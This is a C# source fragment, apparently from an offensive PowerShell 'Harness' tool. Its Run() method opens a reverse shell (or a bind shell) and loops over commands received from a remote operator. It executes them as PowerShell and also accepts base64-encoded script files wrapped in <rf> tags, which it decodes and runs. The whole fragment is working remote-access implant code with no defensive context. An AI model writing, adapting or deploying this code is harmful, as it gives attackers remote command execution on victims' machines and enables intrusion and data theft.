private void Run() { Debug.WriteLine("[DEBUG] Starting handler"); // Define some helpful triggers and flags char HARNESS_CMD_CHAR = '^'; string BEGINFILE_TAG = "<rf>"; string ENDFILE_TAG = "</rf>"; string USER_BREAK = "end"; bool MULTILINE_FLAG = false; bool REMOTEFILE_FLAG = false; // Buffer for reading data byte[] bytes; // Holds string representation of data send over the wire string data = ""; // Used to accumulate data from imported file string data_chunk = ""; // Replace ReverseShell() with BindShell() as needed this.client = ReverseShell(); this.stream = new CustomStream(this, this.client, this.SECURE); while (!this.ShouldExit) { if (this.stream.CanRead()) { bytes = new byte[client.ReceiveBufferSize]; int i; // Loop to receive all the data sent by the client. while ((i = this.stream.Read(bytes, 0, bytes.Length)) != 0) { // Deal with multiline script by prompting for more input (e.g. >>) if (MULTILINE_FLAG) { data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); // Check to see if the user wants to break out of multiline if (data_chunk == HARNESS_CMD_CHAR + USER_BREAK) { ProcessPS(data); MULTILINE_FLAG = false; data = ""; } else { data += data_chunk; } } else if (REMOTEFILE_FLAG) { // Need to check and see if the script is done transfering data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); if (data_chunk.ToLower() == ENDFILE_TAG) { Debug.WriteLine("[DEBUG] File received"); data = Encoding.UTF8.GetString(Convert.FromBase64String(data)); if (IsValid(data)) { ProcessPS(data); } else { this.host.UI.WriteLine("[!] Transfer errors found. Try import again"); } data = ""; REMOTEFILE_FLAG = false; } else { data += data_chunk; data_chunk = ""; } } else { data = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); if (data.ToLower() == "exit" || data.ToLower() == "quit") { this.sleep = 0; break; } if (data.ToLower() == BEGINFILE_TAG) { Debug.WriteLine("[DEBUG] Receiving File"); REMOTEFILE_FLAG = true; data = ""; } if (!string.IsNullOrEmpty(data) && !REMOTEFILE_FLAG) { Debug.WriteLine("[DEBUG] Command Received: " + data.ToString()); // ProcessLocal is reserved for non-PS Harness commands that require special handling if (data[0] == HARNESS_CMD_CHAR) { if (!ProcessLocal(data)) { break; } data = ""; } } } // Determine how we deal with the data received if (!REMOTEFILE_FLAG) { if (IsValid(data)) { ProcessPS(data); data = ""; MULTILINE_FLAG = false; } else { Debug.WriteLine("[DEBUG] Incomplete script or parse error"); MULTILINE_FLAG = true; this.host.UI.Write(">> "); } } } // Shutdown and end connection client.Close(); Debug.WriteLine("[DEBUG] Connection Closed"); break; } } }